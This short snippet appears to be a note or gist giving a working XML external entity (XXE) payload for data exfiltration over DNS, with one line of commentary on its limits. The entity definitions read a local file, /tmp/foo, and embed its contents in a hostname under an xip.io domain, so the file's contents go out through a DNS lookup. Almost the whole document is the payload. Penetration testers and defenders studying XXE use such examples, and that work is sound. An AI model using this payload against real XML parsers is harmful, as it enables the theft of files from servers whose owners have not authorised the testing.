Example of data exfil using DNS in XXE. This will only work if the target file (/tmp/foo in this case) does not contain new lines. Good luck with that!
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|<!ENTITY % data SYSTEM "file:///tmp/foo">|
|<!ENTITY % url "<!ENTITY % exfil SYSTEM 'http://%data;.127.0.0.1.xip.io/capture'>">|